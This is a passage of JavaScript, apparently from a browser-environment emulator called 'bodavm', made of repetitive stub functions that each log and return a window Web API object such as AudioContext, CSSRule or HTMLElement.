console.log(`window_clearInterval`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_captureEvents = function () { let arg = bodavm.memory.globalobj['captureEvents']; console.log(`window_captureEvents`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_cancelIdleCallback = function () { let arg = bodavm.memory.globalobj['cancelIdleCallback']; console.log(`window_cancelIdleCallback`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_cancelAnimationFrame = function () { let arg = bodavm.memory.globalobj['cancelAnimationFrame']; console.log(`window_cancelAnimationFrame`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_AbortController = function () { let arg = bodavm.memory.globalobj['AbortController']; console.log(`window_AbortController`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_AbortSignal = function () { let arg = bodavm.memory.globalobj['AbortSignal']; console.log(`window_AbortSignal`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_AbstractRange = function () { let arg = bodavm.memory.globalobj['AbstractRange']; console.log(`window_AbstractRange`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_AnalyserNode = function () { let arg = bodavm.memory.globalobj['AnalyserNode']; console.log(`window_AnalyserNode`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_Animation = function () { let arg = bodavm.memory.globalobj['Animation']; console.log(`window_Animation`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_AnimationEffect = function () { let arg = bodavm.memory.globalobj['AnimationEffect']; console.log(`window_AnimationEffect`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_AnimationEvent = function () { let arg = bodavm.memory.globalobj['AnimationEvent']; console.log(`window_AnimationEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_Attr = function () { let arg = bodavm.memory.globalobj['Attr']; console.log(`window_Attr`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_AudioBuffer = function () { let arg = bodavm.memory.globalobj['AudioBuffer']; console.log(`window_AudioBuffer`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_AudioBufferSourceNode = function () { let arg = bodavm.memory.globalobj['AudioBufferSourceNode']; console.log(`window_AudioBufferSourceNode`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_AudioContext = function () { let arg = bodavm.memory.globalobj['AudioContext']; console.log(`window_AudioContext`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_AudioDestinationNode = function () { let arg = bodavm.memory.globalobj['AudioDestinationNode']; console.log(`window_AudioDestinationNode`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_AudioListener = function () { let arg = bodavm.memory.globalobj['AudioListener']; console.log(`window_AudioListener`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_AudioNode = function () { let arg = bodavm.memory.globalobj['AudioNode']; console.log(`window_AudioNode`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_AudioParam = function () { let arg = bodavm.memory.globalobj['AudioParam']; console.log(`window_AudioParam`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_AudioParamMap = function () { let arg = bodavm.memory.globalobj['AudioParamMap']; console.log(`window_AudioParamMap`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_AudioProcessingEvent = function () { let arg = bodavm.memory.globalobj['AudioProcessingEvent']; console.log(`window_AudioProcessingEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_AudioScheduledSourceNode = function () { let arg = bodavm.memory.globalobj['AudioScheduledSourceNode']; console.log(`window_AudioScheduledSourceNode`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_AudioWorkletNode = function () { let arg = bodavm.memory.globalobj['AudioWorkletNode']; console.log(`window_AudioWorkletNode`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_BaseAudioContext = function () { let arg = bodavm.memory.globalobj['BaseAudioContext']; console.log(`window_BaseAudioContext`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_BatteryManager = function () { let arg = bodavm.memory.globalobj['BatteryManager']; console.log(`window_BatteryManager`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_BeforeInstallPromptEvent = function () { let arg = bodavm.memory.globalobj['BeforeInstallPromptEvent']; console.log(`window_BeforeInstallPromptEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_BeforeUnloadEvent = function () { let arg = bodavm.memory.globalobj['BeforeUnloadEvent']; console.log(`window_BeforeUnloadEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_BiquadFilterNode = function () { let arg = bodavm.memory.globalobj['BiquadFilterNode']; console.log(`window_BiquadFilterNode`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_Blob = function () { let arg = bodavm.memory.globalobj['Blob']; console.log(`window_Blob`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_BlobEvent = function () { let arg = bodavm.memory.globalobj['BlobEvent']; console.log(`window_BlobEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_BroadcastChannel = function () { let arg = bodavm.memory.globalobj['BroadcastChannel']; console.log(`window_BroadcastChannel`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_ByteLengthQueuingStrategy = function () { let arg = bodavm.memory.globalobj['ByteLengthQueuingStrategy']; console.log(`window_ByteLengthQueuingStrategy`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_CDATASection = function () { let arg = bodavm.memory.globalobj['CDATASection']; console.log(`window_CDATASection`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_CSSConditionRule = function () { let arg = bodavm.memory.globalobj['CSSConditionRule']; console.log(`window_CSSConditionRule`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_CSSCounterStyleRule = function () { let arg = bodavm.memory.globalobj['CSSCounterStyleRule']; console.log(`window_CSSCounterStyleRule`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_CSSFontFaceRule = function () { let arg = bodavm.memory.globalobj['CSSFontFaceRule']; console.log(`window_CSSFontFaceRule`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_CSSGroupingRule = function () { let arg = bodavm.memory.globalobj['CSSGroupingRule']; console.log(`window_CSSGroupingRule`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_CSSImageValue = function () { let arg = bodavm.memory.globalobj['CSSImageValue']; console.log(`window_CSSImageValue`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_CSSImportRule = function () { let arg = bodavm.memory.globalobj['CSSImportRule']; console.log(`window_CSSImportRule`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_CSSKeyframeRule = function () { let arg = bodavm.memory.globalobj['CSSKeyframeRule']; console.log(`window_CSSKeyframeRule`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_CSSKeyframesRule = function () { let arg = bodavm.memory.globalobj['CSSKeyframesRule']; console.log(`window_CSSKeyframesRule`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_CSSKeywordValue = function () { let arg = bodavm.memory.globalobj['CSSKeywordValue']; console.log(`window_CSSKeywordValue`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_CSSLayerBlockRule = function () { let arg = bodavm.memory.globalobj['CSSLayerBlockRule']; console.log(`window_CSSLayerBlockRule`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_CSSLayerStatementRule = function () { let arg = bodavm.memory.globalobj['CSSLayerStatementRule']; console.log(`window_CSSLayerStatementRule`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_CSSMathClamp = function () { let arg = bodavm.memory.globalobj['CSSMathClamp']; console.log(`window_CSSMathClamp`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_CSSMathInvert = function () { let arg = bodavm.memory.globalobj['CSSMathInvert']; console.log(`window_CSSMathInvert`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_CSSMathMax = function () { let arg = bodavm.memory.globalobj['CSSMathMax']; console.log(`window_CSSMathMax`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_CSSMathMin = function () { let arg = bodavm.memory.globalobj['CSSMathMin']; console.log(`window_CSSMathMin`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_CSSMathNegate = function () { let arg = bodavm.memory.globalobj['CSSMathNegate']; console.log(`window_CSSMathNegate`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_CSSMathProduct = function () { let arg = bodavm.memory.globalobj['CSSMathProduct']; console.log(`window_CSSMathProduct`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_CSSMathSum = function () { let arg = bodavm.memory.globalobj['CSSMathSum']; console.log(`window_CSSMathSum`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_CSSMathValue = function () { let arg = bodavm.memory.globalobj['CSSMathValue']; console.log(`window_CSSMathValue`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_CSSMatrixComponent = function () { let arg = bodavm.memory.globalobj['CSSMatrixComponent']; console.log(`window_CSSMatrixComponent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_CSSMediaRule = function () { let arg = bodavm.memory.globalobj['CSSMediaRule']; console.log(`window_CSSMediaRule`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_CSSNamespaceRule = function () { let arg = bodavm.memory.globalobj['CSSNamespaceRule']; console.log(`window_CSSNamespaceRule`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_CSSNumericArray = function () { let arg = bodavm.memory.globalobj['CSSNumericArray']; console.log(`window_CSSNumericArray`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_CSSNumericValue = function () { let arg = bodavm.memory.globalobj['CSSNumericValue']; console.log(`window_CSSNumericValue`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_CSSPageRule = function () { let arg = bodavm.memory.globalobj['CSSPageRule']; console.log(`window_CSSPageRule`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_CSSPerspective = function () { let arg = bodavm.memory.globalobj['CSSPerspective']; console.log(`window_CSSPerspective`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_CSSPositionValue = function () { let arg = bodavm.memory.globalobj['CSSPositionValue']; console.log(`window_CSSPositionValue`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_CSSPropertyRule = function () { let arg = bodavm.memory.globalobj['CSSPropertyRule']; console.log(`window_CSSPropertyRule`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_CSSRotate = function () { let arg = bodavm.memory.globalobj['CSSRotate']; console.log(`window_CSSRotate`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_CSSRule = function () { let arg = bodavm.memory.globalobj['CSSRule']; console.log(`window_CSSRule`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_CSSRuleList = function () { let arg = bodavm.memory.globalobj['CSSRuleList']; console.log(`window_CSSRuleList`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_CSSScale = function () { let arg = bodavm.memory.globalobj['CSSScale']; console.log(`window_CSSScale`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_CSSSkew = function () { let arg = bodavm.memory.globalobj['CSSSkew']; console.log(`window_CSSSkew`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_CSSSkewX = function () { let arg = bodavm.memory.globalobj['CSSSkewX']; console.log(`window_CSSSkewX`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_CSSSkewY = function () { let arg = bodavm.memory.globalobj['CSSSkewY']; console.log(`window_CSSSkewY`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_CSSStyleDeclaration = function () { let arg = bodavm.memory.globalobj['CSSStyleDeclaration']; console.log(`window_CSSStyleDeclaration`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_CSSStyleRule = function () { let arg = bodavm.memory.globalobj['CSSStyleRule']; console.log(`window_CSSStyleRule`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_CSSStyleSheet = function () { let arg = bodavm.memory.globalobj['CSSStyleSheet']; console.log(`window_CSSStyleSheet`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_CSSStyleValue = function () { let arg = bodavm.memory.globalobj['CSSStyleValue']; console.log(`window_CSSStyleValue`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_CSSSupportsRule = function () { let arg = bodavm.memory.globalobj['CSSSupportsRule']; console.log(`window_CSSSupportsRule`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_CSSTransformComponent = function () { let arg = bodavm.memory.globalobj['CSSTransformComponent']; console.log(`window_CSSTransformComponent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_CSSTransformValue = function () { let arg = bodavm.memory.globalobj['CSSTransformValue']; console.log(`window_CSSTransformValue`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_CSSTranslate = function () { let arg = bodavm.memory.globalobj['CSSTranslate']; console.log(`window_CSSTranslate`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_CSSUnitValue = function () { let arg = bodavm.memory.globalobj['CSSUnitValue']; console.log(`window_CSSUnitValue`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_CSSUnparsedValue = function () { let arg = bodavm.memory.globalobj['CSSUnparsedValue']; console.log(`window_CSSUnparsedValue`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_CSSVariableReferenceValue = function () { let arg = bodavm.memory.globalobj['CSSVariableReferenceValue']; console.log(`window_CSSVariableReferenceValue`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_CanvasCaptureMediaStreamTrack = function () { let arg = bodavm.memory.globalobj['CanvasCaptureMediaStreamTrack']; console.log(`window_CanvasCaptureMediaStreamTrack`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_CanvasFilter = function () { let arg = bodavm.memory.globalobj['CanvasFilter']; console.log(`window_CanvasFilter`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_CanvasGradient = function () { let arg = bodavm.memory.globalobj['CanvasGradient']; console.log(`window_CanvasGradient`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_CanvasPattern = function () { let arg = bodavm.memory.globalobj['CanvasPattern']; console.log(`window_CanvasPattern`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_CanvasRenderingContext2D = function () { let arg = bodavm.memory.globalobj['CanvasRenderingContext2D']; console.log(`window_CanvasRenderingContext2D`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_ChannelMergerNode = function () { let arg = bodavm.memory.globalobj['ChannelMergerNode']; console.log(`window_ChannelMergerNode`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_ChannelSplitterNode = function () { let arg = bodavm.memory.globalobj['ChannelSplitterNode']; console.log(`window_ChannelSplitterNode`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_CharacterData = function () { let arg = bodavm.memory.globalobj['CharacterData']; console.log(`window_CharacterData`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_ClipboardEvent = function () { let arg = bodavm.memory.globalobj['ClipboardEvent']; console.log(`window_ClipboardEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_CloseEvent = function () { let arg = bodavm.memory.globalobj['CloseEvent']; console.log(`window_CloseEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_Comment = function () { let arg = bodavm.memory.globalobj['Comment']; console.log(`window_Comment`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_CompositionEvent = function () { let arg = bodavm.memory.globalobj['CompositionEvent']; console.log(`window_CompositionEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_CompressionStream = function () { let arg = bodavm.memory.globalobj['CompressionStream']; console.log(`window_CompressionStream`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_ConstantSourceNode = function () { let arg = bodavm.memory.globalobj['ConstantSourceNode']; console.log(`window_ConstantSourceNode`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_ConvolverNode = function () { let arg = bodavm.memory.globalobj['ConvolverNode']; console.log(`window_ConvolverNode`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_CountQueuingStrategy = function () { let arg = bodavm.memory.globalobj['CountQueuingStrategy']; console.log(`window_CountQueuingStrategy`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_Crypto = function () { let arg = bodavm.memory.globalobj['Crypto']; console.log(`window_Crypto`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_CustomEvent = function () { let arg = bodavm.memory.globalobj['CustomEvent']; console.log(`window_CustomEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_DOMError = function () { let arg = bodavm.memory.globalobj['DOMError']; console.log(`window_DOMError`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_DOMException = function () { let arg = bodavm.memory.globalobj['DOMException']; console.log(`window_DOMException`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_DOMImplementation = function () { let arg = bodavm.memory.globalobj['DOMImplementation']; console.log(`window_DOMImplementation`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_DOMMatrix = function () { let arg = bodavm.memory.globalobj['DOMMatrix']; console.log(`window_DOMMatrix`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_DOMMatrixReadOnly = function () { let arg = bodavm.memory.globalobj['DOMMatrixReadOnly']; console.log(`window_DOMMatrixReadOnly`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_DOMParser = function () { let arg = bodavm.memory.globalobj['DOMParser']; console.log(`window_DOMParser`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_DOMPoint = function () { let arg = bodavm.memory.globalobj['DOMPoint']; console.log(`window_DOMPoint`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_DOMPointReadOnly = function () { let arg = bodavm.memory.globalobj['DOMPointReadOnly']; console.log(`window_DOMPointReadOnly`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_DOMQuad = function () { let arg = bodavm.memory.globalobj['DOMQuad']; console.log(`window_DOMQuad`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_DOMRect = function () { let arg = bodavm.memory.globalobj['DOMRect']; console.log(`window_DOMRect`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_DOMRectList = function () { let arg = bodavm.memory.globalobj['DOMRectList']; console.log(`window_DOMRectList`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_DOMRectReadOnly = function () { let arg = bodavm.memory.globalobj['DOMRectReadOnly']; console.log(`window_DOMRectReadOnly`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_DOMStringList = function () { let arg = bodavm.memory.globalobj['DOMStringList']; console.log(`window_DOMStringList`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_DOMStringMap = function () { let arg = bodavm.memory.globalobj['DOMStringMap']; console.log(`window_DOMStringMap`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_DOMTokenList = function () { let arg = bodavm.memory.globalobj['DOMTokenList']; console.log(`window_DOMTokenList`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_DataTransfer = function () { let arg = bodavm.memory.globalobj['DataTransfer']; console.log(`window_DataTransfer`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_DataTransferItem = function () { let arg = bodavm.memory.globalobj['DataTransferItem']; console.log(`window_DataTransferItem`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_DataTransferItemList = function () { let arg = bodavm.memory.globalobj['DataTransferItemList']; console.log(`window_DataTransferItemList`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_DecompressionStream = function () { let arg = bodavm.memory.globalobj['DecompressionStream']; console.log(`window_DecompressionStream`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_DelayNode = function () { let arg = bodavm.memory.globalobj['DelayNode']; console.log(`window_DelayNode`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_DocumentFragment = function () { let arg = bodavm.memory.globalobj['DocumentFragment']; console.log(`window_DocumentFragment`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_DocumentType = function () { let arg = bodavm.memory.globalobj['DocumentType']; console.log(`window_DocumentType`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_DragEvent = function () { let arg = bodavm.memory.globalobj['DragEvent']; console.log(`window_DragEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_DynamicsCompressorNode = function () { let arg = bodavm.memory.globalobj['DynamicsCompressorNode']; console.log(`window_DynamicsCompressorNode`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_Element = function () { let arg = bodavm.memory.globalobj['Element']; console.log(`window_Element`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_ElementInternals = function () { let arg = bodavm.memory.globalobj['ElementInternals']; console.log(`window_ElementInternals`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_ErrorEvent = function () { let arg = bodavm.memory.globalobj['ErrorEvent']; console.log(`window_ErrorEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_Event = function () { let arg = bodavm.memory.globalobj['Event']; console.log(`window_Event`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_EventCounts = function () { let arg = bodavm.memory.globalobj['EventCounts']; console.log(`window_EventCounts`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_EventSource = function () { let arg = bodavm.memory.globalobj['EventSource']; console.log(`window_EventSource`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_EventTarget = function () { let arg = bodavm.memory.globalobj['EventTarget']; console.log(`window_EventTarget`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_FeaturePolicy = function () { let arg = bodavm.memory.globalobj['FeaturePolicy']; console.log(`window_FeaturePolicy`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_File = function () { let arg = bodavm.memory.globalobj['File']; console.log(`window_File`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_FileList = function () { let arg = bodavm.memory.globalobj['FileList']; console.log(`window_FileList`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_FileReader = function () { let arg = bodavm.memory.globalobj['FileReader']; console.log(`window_FileReader`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_FocusEvent = function () { let arg = bodavm.memory.globalobj['FocusEvent']; console.log(`window_FocusEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_FontFace = function () { let arg = bodavm.memory.globalobj['FontFace']; console.log(`window_FontFace`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_FontFaceSetLoadEvent = function () { let arg = bodavm.memory.globalobj['FontFaceSetLoadEvent']; console.log(`window_FontFaceSetLoadEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_FormData = function () { let arg = bodavm.memory.globalobj['FormData']; console.log(`window_FormData`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_FormDataEvent = function () { let arg = bodavm.memory.globalobj['FormDataEvent']; console.log(`window_FormDataEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_GainNode = function () { let arg = bodavm.memory.globalobj['GainNode']; console.log(`window_GainNode`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_Gamepad = function () { let arg = bodavm.memory.globalobj['Gamepad']; console.log(`window_Gamepad`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_GamepadButton = function () { let arg = bodavm.memory.globalobj['GamepadButton']; console.log(`window_GamepadButton`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_GamepadEvent = function () { let arg = bodavm.memory.globalobj['GamepadEvent']; console.log(`window_GamepadEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_GamepadHapticActuator = function () { let arg = bodavm.memory.globalobj['GamepadHapticActuator']; console.log(`window_GamepadHapticActuator`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_Geolocation = function () { let arg = bodavm.memory.globalobj['Geolocation']; console.log(`window_Geolocation`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_GeolocationCoordinates = function () { let arg = bodavm.memory.globalobj['GeolocationCoordinates']; console.log(`window_GeolocationCoordinates`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_GeolocationPosition = function () { let arg = bodavm.memory.globalobj['GeolocationPosition']; console.log(`window_GeolocationPosition`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_GeolocationPositionError = function () { let arg = bodavm.memory.globalobj['GeolocationPositionError']; console.log(`window_GeolocationPositionError`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLAllCollection = function () { let arg = bodavm.memory.globalobj['HTMLAllCollection']; console.log(`window_HTMLAllCollection`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLAnchorElement = function () { let arg = bodavm.memory.globalobj['HTMLAnchorElement']; console.log(`window_HTMLAnchorElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLAreaElement = function () { let arg = bodavm.memory.globalobj['HTMLAreaElement']; console.log(`window_HTMLAreaElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLAudioElement = function () { let arg = bodavm.memory.globalobj['HTMLAudioElement']; console.log(`window_HTMLAudioElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLBRElement = function () { let arg = bodavm.memory.globalobj['HTMLBRElement']; console.log(`window_HTMLBRElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLBaseElement = function () { let arg = bodavm.memory.globalobj['HTMLBaseElement']; console.log(`window_HTMLBaseElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLBodyElement = function () { let arg = bodavm.memory.globalobj['HTMLBodyElement']; console.log(`window_HTMLBodyElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLButtonElement = function () { let arg = bodavm.memory.globalobj['HTMLButtonElement']; console.log(`window_HTMLButtonElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLCanvasElement = function () { let arg = bodavm.memory.globalobj['HTMLCanvasElement']; console.log(`window_HTMLCanvasElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLCollection = function () { let arg = bodavm.memory.globalobj['HTMLCollection']; console.log(`window_HTMLCollection`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLDListElement = function () { let arg = bodavm.memory.globalobj['HTMLDListElement']; console.log(`window_HTMLDListElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLDataElement = function () { let arg = bodavm.memory.globalobj['HTMLDataElement']; console.log(`window_HTMLDataElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLDataListElement = function () { let arg = bodavm.memory.globalobj['HTMLDataListElement']; console.log(`window_HTMLDataListElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLDetailsElement = function () { let arg = bodavm.memory.globalobj['HTMLDetailsElement']; console.log(`window_HTMLDetailsElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLDialogElement = function () { let arg = bodavm.memory.globalobj['HTMLDialogElement']; console.log(`window_HTMLDialogElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLDirectoryElement = function () { let arg = bodavm.memory.globalobj['HTMLDirectoryElement']; console.log(`window_HTMLDirectoryElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLDivElement = function () { let arg = bodavm.memory.globalobj['HTMLDivElement']; console.log(`window_HTMLDivElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLDocument = function () { let arg = bodavm.memory.globalobj['HTMLDocument']; console.log(`window_HTMLDocument`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLElement = function () { let arg = bodavm.memory.globalobj['HTMLElement']; console.log(`window_HTMLElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLEmbedElement = function () { let arg = bodavm.memory.globalobj['HTMLEmbedElement']; console.log(`window_HTMLEmbedElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLFieldSetElement = function () { let arg = bodavm.memory.globalobj['HTMLFieldSetElement']; console.log(`window_HTMLFieldSetElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLFontElement = function () { let arg = bodavm.memory.globalobj['HTMLFontElement']; console.log(`window_HTMLFontElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLFormControlsCollection = function () { let arg = bodavm.memory.globalobj['HTMLFormControlsCollection']; console.log(`window_HTMLFormControlsCollection`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLFormElement = function () { let arg = bodavm.memory.globalobj['HTMLFormElement']; console.log(`window_HTMLFormElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLFrameElement = function () { let arg = bodavm.memory.globalobj['HTMLFrameElement']; console.log(`window_HTMLFrameElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLFrameSetElement = function () { let arg = bodavm.memory.globalobj['HTMLFrameSetElement']; console.log(`window_HTMLFrameSetElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLHRElement = function () { let arg = bodavm.memory.globalobj['HTMLHRElement']; console.log(`window_HTMLHRElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLHeadElement = function () { let arg = bodavm.memory.globalobj['HTMLHeadElement']; console.log(`window_HTMLHeadElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLHeadingElement = function () { let arg = bodavm.memory.globalobj['HTMLHeadingElement']; console.log(`window_HTMLHeadingElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLHtmlElement = function () { let arg = bodavm.memory.globalobj['HTMLHtmlElement']; console.log(`window_HTMLHtmlElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLIFrameElement = function () { let arg = bodavm.memory.globalobj['HTMLIFrameElement']; console.log(`window_HTMLIFrameElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLImageElement = function () { let arg = bodavm.memory.globalobj['HTMLImageElement']; console.log(`window_HTMLImageElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLInputElement = function () { let arg = bodavm.memory.globalobj['HTMLInputElement']; console.log(`window_HTMLInputElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_HTMLLIElement = function () { let arg = 